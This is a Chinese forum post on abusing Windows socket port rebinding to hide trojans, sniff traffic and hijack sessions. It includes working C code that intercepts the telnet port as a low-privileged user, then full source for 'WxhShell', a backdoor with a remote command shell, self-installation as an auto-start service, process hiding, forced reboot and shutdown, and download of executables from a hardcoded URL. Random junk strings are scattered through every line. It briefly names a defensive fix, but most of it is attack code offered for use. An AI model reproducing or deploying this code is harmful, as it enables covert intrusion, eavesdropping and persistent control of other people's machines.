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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: K(#O@Wmjq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @?*; -]#)  
^$s&bH'8  
  saddr.sin_family = AF_INET; y I}>  
KNjU!Z/4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~l}\K10L*  
!8&EkXTw,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [lGxys)J  
B+z>$6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m qwJya  
P=.~LZZ]89  
  这意味着什么?意味着可以进行如下的攻击: 9.BgsV .  
R>B6@|}?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 h@dy}Id  
}#S1!TU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0:JNkXZ:  
_& r19pY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }Fsr"RER@{  
mbns%%GJU  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  O8~RfB  
e,MgR\F}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kH`?^ ^_yJ  
/=g/{&3[a>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3H|drj:KV  
7CH.BY  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5fRrd;  
 ozKS<<  
  #include b,X+*hRt  
  #include V9jxmu F,  
  #include +ViL"  
  #include    gq@8Z AWn  
  DWORD WINAPI ClientThread(LPVOID lpParam);   x~=Mn%Ew0  
  int main() K0D|p$v  
  { _-rC]iQJ55  
  WORD wVersionRequested; ]E)\>Jb  
  DWORD ret; tEt46]{  
  WSADATA wsaData; )+ 'r-AF*  
  BOOL val; #lc6-K#  
  SOCKADDR_IN saddr; y06xl:iQwF  
  SOCKADDR_IN scaddr; 8nWPt!U:  
  int err; O3mw5<%15  
  SOCKET s; ?J-\}X  
  SOCKET sc; zszmG^W{  
  int caddsize; 'Lw8l `7  
  HANDLE mt; u-tD_UIck  
  DWORD tid;   +TX4,"  
  wVersionRequested = MAKEWORD( 2, 2 ); RAnF=1[v  
  err = WSAStartup( wVersionRequested, &wsaData ); XE&h&v=>  
  if ( err != 0 ) { \98N8p;,I  
  printf("error!WSAStartup failed!\n"); A3*(c3  
  return -1; f( Dtv  
  } .Z#/%y3S  
  saddr.sin_family = AF_INET; .;qh>Gt  
   \ \Tz'>[\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c{ +bY .J  
|,~ )/o_R  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _!!Fg%a5"R  
  saddr.sin_port = htons(23); p w5{=bD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S4?WR+:h  
  { QleVW  
  printf("error!socket failed!\n"); z+{+Q9j  
  return -1; aEh9 za  
  } ml Cg&fnDB  
  val = TRUE; 0w0{@\9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Jz3,vV fQ:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #HW<@E  
  { (xoYYO  
  printf("error!setsockopt failed!\n"); >fth iA  
  return -1; 3Zl:rYD?  
  } RgL>0s  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; eB=&(ZT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yTh%[k  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 f8aY6o"i  
vC `SD]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Pr(@&:v:  
  { rf%VSxD9  
  ret=GetLastError(); yP>025o't  
  printf("error!bind failed!\n"); \v5;t9uBZ  
  return -1; c#"t.j<E}  
  } zH6@v +gb  
  listen(s,2); 2%6 >)|  
  while(1) {7c'%e  
  { #^Pab^Y3r-  
  caddsize = sizeof(scaddr); EpyMc+.Ze'  
  //接受连接请求 -{8K/!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #.[eZ[  
  if(sc!=INVALID_SOCKET) KX 7 fgC  
  { @SpP"/)JY  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ZTz07Jt  
  if(mt==NULL) |FM*1Q[1  
  { <Z<meB[g  
  printf("Thread Creat Failed!\n"); *8m['$oyV  
  break; qk3|fW/-  
  } DcdEt=\)h  
  } Hh*?[-&r~  
  CloseHandle(mt); xE]y*\  
  } ^3S&LC 1;|  
  closesocket(s); V$w lOMp  
  WSACleanup(); =-X-${/  
  return 0;  7gZ}Qy  
  }   Mqvo j7  
  DWORD WINAPI ClientThread(LPVOID lpParam) f7][#EL  
  { .RJMtmp  
  SOCKET ss = (SOCKET)lpParam; < F;+A{M)  
  SOCKET sc; `]XI Q\ *  
  unsigned char buf[4096]; 7pciB}$2  
  SOCKADDR_IN saddr; qt*+ D  
  long num; X!/Sk1  
  DWORD val; >5:O%zQ@  
  DWORD ret; zBTW&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 u4w!SD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   S#v3%)R  
  saddr.sin_family = AF_INET; YzQ1c~+  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h=:/9O{H  
  saddr.sin_port = htons(23); b=_k)h+l  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eh `%E0b}  
  { @sA!o[gH  
  printf("error!socket failed!\n"); ?6&8-zt1?  
  return -1; F]UH\1  
  } Z[d13G;  
  val = 100; 4C%pKV  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <Nqbp  
  { {.jW"0U  
  ret = GetLastError(); ) y;7\-K0  
  return -1; matna  
  } c>{QTI:]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M3O !jN~  
  { ocJG4#  
  ret = GetLastError(); RK &>!^  
  return -1; *wj5(B<y  
  } A$5M.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FA$32*v  
  { rf:H$\yw  
  printf("error!socket connect failed!\n"); Q=xXj'W-  
  closesocket(sc); ){"?@1vP  
  closesocket(ss); p^|l ',e  
  return -1; cPNc$^Y  
  } O.ce=E  
  while(1) E'DHO2 Y  
  { |?2fq&2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7<;oz30G!L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 yG/!K uA  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 usD@4!PoA  
  num = recv(ss,buf,4096,0); -Z$u[L [c  
  if(num>0) aE 9Y |6  
  send(sc,buf,num,0); oq+w2yR  
  else if(num==0) 3cL iZ%6^  
  break; #IM.7`I   
  num = recv(sc,buf,4096,0); ,:A;4  
  if(num>0) S* O. ?  
  send(ss,buf,num,0); fM4B.45j  
  else if(num==0) I*3}erT  
  break; z_fjmqa?  
  } _7<{+Zzm  
  closesocket(ss); jxkjPf?  
  closesocket(sc); s{yw1:  
  return 0 ; a~$Y;C_#<  
  } 3S7"P$q  
z77>W}d  
~Q]5g7k=&  
========================================================== ,Q7;(&x~  
?V^7`3F  
下边附上一个代码,,WXhSHELL >!xyA;  
/0XMQy  
========================================================== mA+:)?e5~  
()l3X.t,$  
#include "stdafx.h" ~BmA!BZV`  
 Q}L?o  
#include <stdio.h> yW= +6@A4  
#include <string.h> hyf ;f7`o  
#include <windows.h> 71{jedT  
#include <winsock2.h> \>- M&C  
#include <winsvc.h> }QE*-GVv]  
#include <urlmon.h> u/u(Z&  
3^+D,)#D^  
#pragma comment (lib, "Ws2_32.lib") U*$xR<8v  
#pragma comment (lib, "urlmon.lib") @i;)`k5b  
@nY]S\if  
#define MAX_USER   100 // 最大客户端连接数 src+z#  
#define BUF_SOCK   200 // sock buffer `{G&i\"n  
#define KEY_BUFF   255 // 输入 buffer ^F+7<$ 2  
TjEXR$:<  
#define REBOOT     0   // 重启 % ERcFI]G  
#define SHUTDOWN   1   // 关机 ;: 2U}p^-  
kY~4AH  
#define DEF_PORT   5000 // 监听端口 5z!$=SFz  
XH$r(@Z\7  
#define REG_LEN     16   // 注册表键长度 YiDOV)  
#define SVC_LEN     80   // NT服务名长度 ,dCEy+  
bT^dtEr[  
// 从dll定义API S*V}1</L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Zob/H+]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sjg`4^!wDD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); | :-i[G?n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F`QViZ'n>#  
nOGTeKjEJ  
// wxhshell配置信息 jRS{7rx%MH  
struct WSCFG { `Zm6e!dH-  
  int ws_port;         // 监听端口 1^}I?PbqV  
  char ws_passstr[REG_LEN]; // 口令 2+ cs^M3  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7t:RQ`$:  
  char ws_regname[REG_LEN]; // 注册表键名 yQD>7%x  
  char ws_svcname[REG_LEN]; // 服务名 Z_\p8@3aH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MVsFi]-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 akzGJ3g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4\Y5RfLB_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0+*NHiH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pi?MAE*f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EJ9hgE  
i.vH$  
}; R}M ;, G  
IT_I.5*A2  
// default Wxhshell configuration :eVZ5?F  
struct WSCFG wscfg={DEF_PORT, =Xh)34q  
    "xuhuanlingzhe", @i1e0;\  
    1, &Vz$0{d5  
    "Wxhshell", 3S:Lce'f  
    "Wxhshell", :hX[8u  
            "WxhShell Service", qq| 5[I.?  
    "Wrsky Windows CmdShell Service", ukW&\  
    "Please Input Your Password: ", FQDf?d5  
  1, [X.bR$>  
  "http://www.wrsky.com/wxhshell.exe", vA1Yya B  
  "Wxhshell.exe" 3 !@  
    }; "d_wu#fO)  
YNEwX$)M,B  
// 消息定义模块 JNfL jfE)<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ) CP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cQU;PH]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -Z"4W  
char *msg_ws_ext="\n\rExit."; N]A# ecm  
char *msg_ws_end="\n\rQuit.";  8s0+6{vW  
char *msg_ws_boot="\n\rReboot..."; iAwEnQ3h  
char *msg_ws_poff="\n\rShutdown..."; li r=0oq<  
char *msg_ws_down="\n\rSave to "; T }}2J/sj  
'+PKGmRW  
char *msg_ws_err="\n\rErr!"; `<C<[JP:o  
char *msg_ws_ok="\n\rOK!"; 9{toPED  
6Yj{% G  
char ExeFile[MAX_PATH]; uZ!YGv0^  
int nUser = 0; YX0ysE*V:&  
HANDLE handles[MAX_USER]; 4+RR`I8$Ge  
int OsIsNt; @%]A,\  
4I$Y(E}  
SERVICE_STATUS       serviceStatus; AI-*5[w#A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2*|T)OA`m,  
k {*QU(  
// 函数声明 ysW})#7X  
int Install(void); &]nx^C8V;  
int Uninstall(void); %;,fI'M  
int DownloadFile(char *sURL, SOCKET wsh); ci~#G[_$S  
int Boot(int flag); ^`&'u_B!+  
void HideProc(void); r7m~.M+W"  
int GetOsVer(void); b dgkA  
int Wxhshell(SOCKET wsl); H@Z_P p?  
void TalkWithClient(void *cs); ;)(g$r^_i  
int CmdShell(SOCKET sock); D@O `"2  
int StartFromService(void); 4ba*Nc*Yc  
int StartWxhshell(LPSTR lpCmdLine);  ?Y(  
,QY$:f<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +1ICX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <+roY"  
->sxz/L  
// 数据结构和表定义 ~dYCY_a  
SERVICE_TABLE_ENTRY DispatchTable[] = $C4~v  
{ I\~[GsDY  
{wscfg.ws_svcname, NTServiceMain}, s^wm2/Yw  
{NULL, NULL} bn(N8MFCV  
}; [n2B6Px  
#S}orWj  
// 自我安装 va6Fp2n<1*  
int Install(void) .uuhoqG0  
{ >t+U`6xK  
  char svExeFile[MAX_PATH]; ~KBa-i%o  
  HKEY key; a+w2cN'  
  strcpy(svExeFile,ExeFile); QNj]wm=mp  
{M]_]L{&7  
// 如果是win9x系统,修改注册表设为自启动 G;Li!H  
if(!OsIsNt) { Nd~B$venh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s2; ~FK#/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uoS:-v}/Y~  
  RegCloseKey(key); G{U#9   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IiU> VLa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [jMN*p?  
  RegCloseKey(key); J2bvHxb Rd  
  return 0; T ozx0??)  
    } (bsx|8[  
  } |&; ^?M  
} QL?_FwZL  
else { z 6:Wh  
0HzqU31%l@  
// 如果是NT以上系统,安装为系统服务 AkhG~L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 77P\:xc  
if (schSCManager!=0) <J/ =$u/  
{ ma.84~m  
  SC_HANDLE schService = CreateService i?x gV_q;  
  ( mMAN* }`O  
  schSCManager, I |Oco?Q"  
  wscfg.ws_svcname, 8Zr;n`~  
  wscfg.ws_svcdisp, 4Yj1Etq.E  
  SERVICE_ALL_ACCESS, .ZTvOm'mB^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ez3fL&*  
  SERVICE_AUTO_START, {w@qFE'b  
  SERVICE_ERROR_NORMAL, o`bch? ]  
  svExeFile, F-_u/C]  
  NULL, d>QFmsh-  
  NULL, :gVUk\)  
  NULL, hFrMOc&  
  NULL, OM86C  
  NULL Y t(D  
  ); 9]4Q@%  
  if (schService!=0) @-U\!Tf  
  { _D '(R  
  CloseServiceHandle(schService); [&)]-2w2  
  CloseServiceHandle(schSCManager); OUX7 *_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v=U<exM6%  
  strcat(svExeFile,wscfg.ws_svcname); ]G/m,Zv*:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BEdCA]T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); osW"wh_  
  RegCloseKey(key); >B BV/C'9  
  return 0; FK%b@/7s~  
    } O0  'iq^g  
  } Un?|RF  
  CloseServiceHandle(schSCManager); @@65t'3S  
} +7_qg i7:  
} broLC5hbQU  
rB>ge]$.  
return 1; >!963>DR  
} n;g'?z=hy  
5ZCu6 A  
// 自我卸载 CIudtY(:  
int Uninstall(void) NR4+&d  
{ 8wU$kK  
  HKEY key; p.DQ|?  
h4Crq Yxa_  
if(!OsIsNt) { ?uWUs )9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1"h"(dA  
  RegDeleteValue(key,wscfg.ws_regname); b8mH.g&l  
  RegCloseKey(key); PDNl]?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VYk:c`E  
  RegDeleteValue(key,wscfg.ws_regname); fvu{(Tb  
  RegCloseKey(key); ]Q^)9uE\D  
  return 0; Cf% qap#  
  } YT\`R  
} ;%e&6  
} T{{:p\<]_  
else { 6=iHw 24  
BWt`l,nF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mZ)>^.N6  
if (schSCManager!=0) je] DR~  
{ '{&Q&3J_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EVmBLH-a  
  if (schService!=0) 9LR=>@Z  
  { D#;7S'C  
  if(DeleteService(schService)!=0) { JZ5k3#@e  
  CloseServiceHandle(schService); r!:yUPv  
  CloseServiceHandle(schSCManager); D,#UJPyg  
  return 0;  a"Qf  
  } WAu>p3   
  CloseServiceHandle(schService); n`Q@<op  
  } *z0!=>(  
  CloseServiceHandle(schSCManager); Q\Ek U.[I  
} Q,U0xGGz  
} DiFLat]X  
-/f$s1  
return 1; {j2V k)\[i  
} uibmQ|AQ  
#QNN;&L]R  
// 从指定url下载文件 ug3\K83aj/  
int DownloadFile(char *sURL, SOCKET wsh) _w^,j"  
{ +%dXB&9x|Z  
  HRESULT hr; E7Lqa S  
char seps[]= "/"; hD6BP  
char *token; c 1YDln  
char *file; nY'V,v[F  
char myURL[MAX_PATH]; qO6M5g:   
char myFILE[MAX_PATH]; #GzALF97  
nrac )W  
strcpy(myURL,sURL); t G_4>-Y#w  
  token=strtok(myURL,seps); ASqYA1p.  
  while(token!=NULL) U1\7Hcs$  
  { 4 m:h&^`N  
    file=token; X[BP0:`t  
  token=strtok(NULL,seps); `Ba]i)!  
  } #g{R+#fm  
Yy*=@qu>g  
GetCurrentDirectory(MAX_PATH,myFILE); VD=H=Ju  
strcat(myFILE, "\\"); p-4$)w~6i  
strcat(myFILE, file); mixsJ}e  
  send(wsh,myFILE,strlen(myFILE),0); JP#S/kJ%3  
send(wsh,"...",3,0); 6tKrR{3#A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ] !/  
  if(hr==S_OK) J0xHpe  
return 0; &@iOB #H  
else ,#Z%0NLe  
return 1; [LoQYDku  
HP# SR';E  
} (W}F\P  
WZQ2Mi<&1'  
// 系统电源模块 c'oiW)8;A  
int Boot(int flag) $ XjijD9R  
{ \n<! ld  
  HANDLE hToken; nI:M!j5s`  
  TOKEN_PRIVILEGES tkp; 5(>=};r+  
">}6i9o  
  if(OsIsNt) { s9Hxiw@D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y:'Ns$+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4H{t6t@-:  
    tkp.PrivilegeCount = 1; 7^dr[.Q[*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tZ_'>7)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ale'-V)5  
if(flag==REBOOT) { Fp\;j\pfw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )qy?x7   
  return 0; .psb# 4  
} AC RuDY  
else { Ht[$s40P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &'uP?r9c$  
  return 0; ;cMQ 0e  
} Oeh A3$|#  
  } A`7(i'i5]  
  else { MK1\  
if(flag==REBOOT) { k]m ~DVS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P$E iD+5#z  
  return 0; jVff@)_S  
} Kg%9&l  
else { 4=Th<,<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t;* zr*  
  return 0; 9c@M(U@Yh  
} w;'XqpP$*|  
} ~?\U];l  
q?!HzZ  
return 1; uu6 JZp  
} |  0  
}UPC~kC+Z  
// win9x进程隐藏模块 t^01@ejM+  
void HideProc(void) 3](hMk,}  
{ /.]u%;%r[  
xfRp_;l+R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^KhJBM/Z  
  if ( hKernel != NULL ) M%E<]H2;S  
  { M<-Q8 a~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;,77|]<XE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Oiib2Ov  
    FreeLibrary(hKernel); #b^6>  
  } UarLxPQ  
T]th3*  
return; a_b#hM/c;  
} 78l);/E{v  
<^YvgQ,m  
// 获取操作系统版本 -06G.;W\^  
int GetOsVer(void) Bsa;,  
{ NBk0P*SI  
  OSVERSIONINFO winfo; ?I+{S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /a\i  
  GetVersionEx(&winfo); jg]KE8(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h*Fv~j'p  
  return 1; ?lC>E[  
  else gTj,I=3$?e  
  return 0; :E9pdx+  
} D!.c??   
Y(UK:LZ'  
// 客户端句柄模块 ,`f]mv l  
int Wxhshell(SOCKET wsl) in>+D|q c  
{ , >7PG2 a  
  SOCKET wsh; L3b0e_8>R  
  struct sockaddr_in client; (OiV IH  
  DWORD myID; CnZ!b_J  
cN@_5  
  while(nUser<MAX_USER) DO~ D?/ia  
{ v]EMJm6d|  
  int nSize=sizeof(client); 7Fj8Mp|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y_CYx  
  if(wsh==INVALID_SOCKET) return 1; f1vD{M ;  
}+@!c%TCx~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l8G1N[  
if(handles[nUser]==0) +u|"q+p  
  closesocket(wsh); Ar<5UnT  
else NtM>`5{?  
  nUser++; 30v xOkS  
  } @&?(XY 'M%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bTJ<8q  
I8XP`Ccq  
  return 0; ^6 wWv&G[8  
} sU>IETo  
P*KIk~J  
// 关闭 socket t+v %%N_  
void CloseIt(SOCKET wsh) NgTB4I 8P  
{ +,,(8=5 g  
closesocket(wsh); /4T6Z[=s  
nUser--; @T^FOTW  
ExitThread(0); T\9[PX<  
} tK;xW  
SZH`-xb!+5  
// 客户端请求句柄 /Bt!xSI  
void TalkWithClient(void *cs)  26p[x'W  
{ !7DDPJ~  
CHGa_  
  SOCKET wsh=(SOCKET)cs; NF0_D1Goi  
  char pwd[SVC_LEN]; SnG(/1C8  
  char cmd[KEY_BUFF]; +&S 7l%-  
char chr[1]; sSU|N;"Y  
int i,j; Mp/l*"(  
(RFH.iX  
  while (nUser < MAX_USER) { %*Ex2we&  
f-18nF7{  
if(wscfg.ws_passstr) { H=@KlSC ^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3Y Mqp~4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sT;wHtU  
  //ZeroMemory(pwd,KEY_BUFF); 4'z)J1M  
      i=0; V8/4:Va7 s  
  while(i<SVC_LEN) { Qs\a&Q=0H  
q=pRe-{  
  // 设置超时 jJIP $  
  fd_set FdRead; N# }A9t  
  struct timeval TimeOut; v,iZnANZ&P  
  FD_ZERO(&FdRead); !dT+cZsf  
  FD_SET(wsh,&FdRead); P4@`C{F5m  
  TimeOut.tv_sec=8; (tYZq86`  
  TimeOut.tv_usec=0; Z3JUYEAS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JuSS(dJw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J$}]p  
m\qeYI6,Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B>nj{W<o  
  pwd=chr[0]; l:'#pZ4T  
  if(chr[0]==0xd || chr[0]==0xa) { 0!,uo\`  
  pwd=0; =.z;:0]'n  
  break; Wxj_DTi[1"  
  } bL xZ 5C7t  
  i++; a Vu!Qk=Z/  
    } SE\?8cs]-  
d3:GmB .  
  // 如果是非法用户,关闭 socket ,!_6X9N-h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); # ][i!9$  
} YVc cO~!8  
!~|-CF0z=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a U\|ZCH\]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y@!M<#SEzG  
2{?]W/&fS  
while(1) { ;j%I1k%A  
b$klm6nMvm  
  ZeroMemory(cmd,KEY_BUFF); k\[(;9sf.  
&IN%2c  
      // 自动支持客户端 telnet标准   !p+54w\ 2  
  j=0; 4 -.W~C'Q  
  while(j<KEY_BUFF) { WGz)-IB!PE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k&ooV4#f6  
  cmd[j]=chr[0]; +51heuu[o  
  if(chr[0]==0xa || chr[0]==0xd) { rnZ$Qk-H  
  cmd[j]=0; a qEZhMy  
  break; fk ,Vry  
  } b=r3WkB6  
  j++; X8ulaa  
    } &B&8$X  
!hq2AY&H)  
  // 下载文件 7(1`,Y  
  if(strstr(cmd,"http://")) { %_W4\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0{b} 1D  
  if(DownloadFile(cmd,wsh)) T [$-])iK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -8^qtB  
  else <-k!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9 " q-Bb  
  } hY.i`sp*/  
  else { 3q'AgiW  
d~~kJKK  
    switch(cmd[0]) { e4` L8  
  3A`Gx#  
  // 帮助 YTyrX  
  case '?': { ^m%#1Zd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EQ273sdK  
    break; 0S4BV%7F  
  } R1H^CJ=v0  
  // 安装 *#YZm>h   
  case 'i': { U1r]e%df)  
    if(Install()) ~Fuq{e9`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mxqD'^n#  
    else Mm$\j*f/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f7a4E+}  
    break; gbuh04#~  
    } Jx5`0?  
  // 卸载 qf(mJlU  
  case 'r': { Ef#LRcG-Z  
    if(Uninstall()) tq59w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sA,bR|  
    else bvtpqI QZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bq E'9GI  
    break; P)K $+oo  
    } ]QaKXg)3q  
  // 显示 wxhshell 所在路径 `sKyvPtG  
  case 'p': { LJ[zF~4#  
    char svExeFile[MAX_PATH]; B)Y[~4o  
    strcpy(svExeFile,"\n\r"); MOD&3>NI  
      strcat(svExeFile,ExeFile); =3X>Ur  
        send(wsh,svExeFile,strlen(svExeFile),0); M<Wi:r:  
    break; 9;#RzelSp  
    } AI2XNSV@Yl  
  // 重启 JjS+'A$A5  
  case 'b': { y`va6 %u{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uHI(-!O  
    if(Boot(REBOOT)) -!XG>Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4SI~y;c)  
    else { W,@ F!8  
    closesocket(wsh); V#oz~GMB  
    ExitThread(0); x{:U$[_  
    } w!"L\QT  
    break; C{bxPILw  
    } &DMC\R*j  
  // 关机 S=k!8]/d|  
